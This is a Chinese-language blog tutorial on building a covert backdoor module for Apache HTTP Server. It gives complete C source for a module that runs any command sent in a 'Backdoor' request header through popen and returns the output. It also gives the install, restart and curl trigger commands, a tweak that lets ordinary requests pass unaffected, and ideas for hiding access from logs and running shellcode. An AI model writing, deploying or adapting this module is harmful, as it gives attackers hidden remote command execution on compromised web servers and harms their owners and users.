Apache HTTP Server 后門開發(fā)


參考文檔 :

https://httpd.apache.org/docs/2.4/developer/modguide.html


需求分析 :
實(shí)現(xiàn)一個(gè)執(zhí)行任意命令的功能
攻擊者在目標(biāo)服務(wù)器植入后門以后 , 一旦攻擊者向服務(wù)器發(fā)送的HTTP請求存在 Backdoor 這個(gè)請求頭 , Backdoor 這個(gè)請求頭的值作為命令執(zhí)行
例如 :

GET / HTTP/1.1
Host: localhost
Cookie: key=value
Backdoor: COMMAND

如果服務(wù)器接收到這個(gè)請求頭, 那么執(zhí)行 COMMAND 這個(gè)命令并將結(jié)果顯示在響應(yīng)體中


為了實(shí)現(xiàn)這個(gè)功能 , 我們需要了解以下的API

  • Apache擴(kuò)展的結(jié)構(gòu)
  • 獲取一個(gè)HTTP請求所有請求頭
  • 獲取請求頭的值
  • 執(zhí)行系統(tǒng)命令并且獲取結(jié)果

  1. 利用 apxs 生成一個(gè)擴(kuò)展的基本模板結(jié)構(gòu)
apxs -g -n backdoor
image.png
  1. 根據(jù) Apache 的文檔可以得知 :


    image.png

    所有的請求頭位于 :

r->headers_in 這個(gè)結(jié)構(gòu)體中

我們只需要遍歷請求頭就可以得知是否需要觸發(fā)這個(gè)后門
每一個(gè)請求頭是一個(gè) apr_table_t 結(jié)構(gòu)體的指針
我們再來查詢一下這個(gè)結(jié)構(gòu)體的實(shí)現(xiàn) :

https://apr.apache.org/docs/apr/2.0/group__apr__tables.html#gad7ea82d6608a4a633fc3775694ab71e4
https://apr.apache.org/docs/apr/1.6/apr__tables_8h_source.html

image.png

官方文檔中也給出了遍歷請求頭的實(shí)例代碼


image.png

我們只需要檢測這個(gè) Backdoor 有沒有出現(xiàn)在請求頭中
如果出現(xiàn)則執(zhí)行命令并輸出即可

  1. 實(shí)現(xiàn)代碼如下 :
/*
**  mod_backdoor.c -- Apache sample backdoor module
**  [Autogenerated via ``apxs -n backdoor -g'']
**
**  To play with this sample module first compile it into a
**  DSO file and install it into Apache's modules directory
**  by running:
**
**    $ apxs -c -i mod_backdoor.c
**
**  Then activate it in Apache's apache2.conf file for instance
**  for the URL /backdoor in as follows:
**
**    #   apache2.conf
**    LoadModule backdoor_module modules/mod_backdoor.so
**    <Location /backdoor>
**    SetHandler backdoor
**    </Location>
**
**  Then after restarting Apache via
**
**    $ apachectl restart
**
**  you immediately can request the URL /backdoor and watch for the
**  output of this module. This can be achieved for instance via:
**
**    $ lynx -mime_header http://localhost/backdoor
**
**  The output should be similar to the following one:
**
**    HTTP/1.1 200 OK
**    Date: Tue, 31 Mar 1998 14:42:22 GMT
**    Server: Apache/1.3.4 (Unix)
**    Connection: close
**    Content-Type: text/html
**
**    The sample page from mod_backdoor.c
*/

#include "httpd.h"
#include "http_config.h"
#include "http_protocol.h"
#include "ap_config.h"
#include <stdio.h>
#include <stdlib.h>

/* The sample content handler */
static int backdoor_handler(request_rec *r)
{
    /*
    if (strcmp(r->handler, "backdoor")) {
        return DECLINED;
    }
    r->content_type = "text/html";

    if (!r->header_only)
        ap_rputs("The sample page from mod_backdoor.c\n", r);
    */
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
    const apr_array_header_t    *fields;
    int                         i;
    apr_table_entry_t           *e = 0;
    char FLAG = 0;
    /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/

    fields = apr_table_elts(r->headers_in);
    e = (apr_table_entry_t *) fields->elts;

    for(i = 0; i < fields->nelts; i++) {
        if(strcmp(e[i].key, "Backdoor") == 0){
            FLAG = 1;
            break;
        }
    }

    if (FLAG){
        char * command = e[i].val;
        ap_rprintf(r, "Command: %s\n", command);
        ap_rprintf(r, "Result: \n", command);
        FILE* fp = popen(command,"r");
        char buffer[0x100] = {0};
        int counter = 1;
        while(counter){
            counter = fread(buffer, 1, sizeof(buffer), fp);
            ap_rwrite(buffer, counter, r);
        }
        pclose(fp);
    }
    return OK;
}

static void backdoor_register_hooks(apr_pool_t *p)
{
    ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE);
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA backdoor_module = {
    STANDARD20_MODULE_STUFF,
    NULL,                  /* create per-dir    config structures */
    NULL,                  /* merge  per-dir    config structures */
    NULL,                  /* create per-server config structures */
    NULL,                  /* merge  per-server config structures */
    NULL,                  /* table of config file commands       */
    backdoor_register_hooks  /* register hooks                      */
};

然后即可使用命令 :

apxs -i -a -c mod_backdoor.c && service apache2 restart

來驗(yàn)證安裝
驗(yàn)證效果如下 :

curl 'http://localhost/index.php' -H 'Backdoor: id'
image.png

但是這里存在一些問題 , 我們開發(fā)的這個(gè) apache 的 module 會對每一個(gè)請求都生效
如果我們不添加 Backdoor 這個(gè)請求頭 , 那么正常情況應(yīng)該是就相當(dāng)于沒有這個(gè)模塊 , 原本該怎么處理這個(gè)請求就怎么處理這個(gè)請求
但是 , 我們的假設(shè)似乎并沒有成立
又去翻了翻 Apache 的文檔 , 在網(wǎng)上也找了一些文章

參考文章 :

http://blog.csdn.net/ConeZXY/article/details/1897989
http://blog.csdn.net/ConeZXY/article/details/1898000
http://blog.csdn.net/ConeZXY/article/details/1898019
http://zjwyhll.blog.163.com/blog/static/7514978120126254222294/

http://www.apachetutor.org/dev/request

找到了一個(gè)解決方案是將函數(shù) backdoor_handler 的返回值由 OK 修改為 DECLINED

image.png

如果返回 OK , 這個(gè)模塊就會通知服務(wù)器 , 我們已經(jīng)處理完成了這個(gè)請求 , 并且沒有發(fā)生錯(cuò)誤
如果返回 DONE , 這個(gè)模塊就會通知服務(wù)器 , 我們已經(jīng)處理完成了這個(gè)請求 , 并且已經(jīng)不需要再進(jìn)行后續(xù)的處理了
如果返回 DECLINED , 則表示這個(gè)模塊不需要對這個(gè)請求進(jìn)行處理 , 那么服務(wù)器就會繼續(xù)對其進(jìn)行默認(rèn)的處理
可以參考圖片 :

image.png

PS : 
感覺這種處理方式好像還是欠妥 , 但是也只能找到這種方法來先湊合一下使用了

這樣我們就實(shí)現(xiàn)了對這個(gè)后門的編寫
在此基礎(chǔ)上我們也可以對這個(gè)后門進(jìn)行擴(kuò)展
例如 HOOK 住日志處理的過程, 讓我們訪問后門的日志不被記錄等等
例如修改命令執(zhí)行的邏輯, 直接改成 shellcode 跳轉(zhuǎn)到 shellcode 去執(zhí)行等等


代碼 :

https://github.com/WangYihang/Apache_HTTP_Server_Module_Backdoor

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。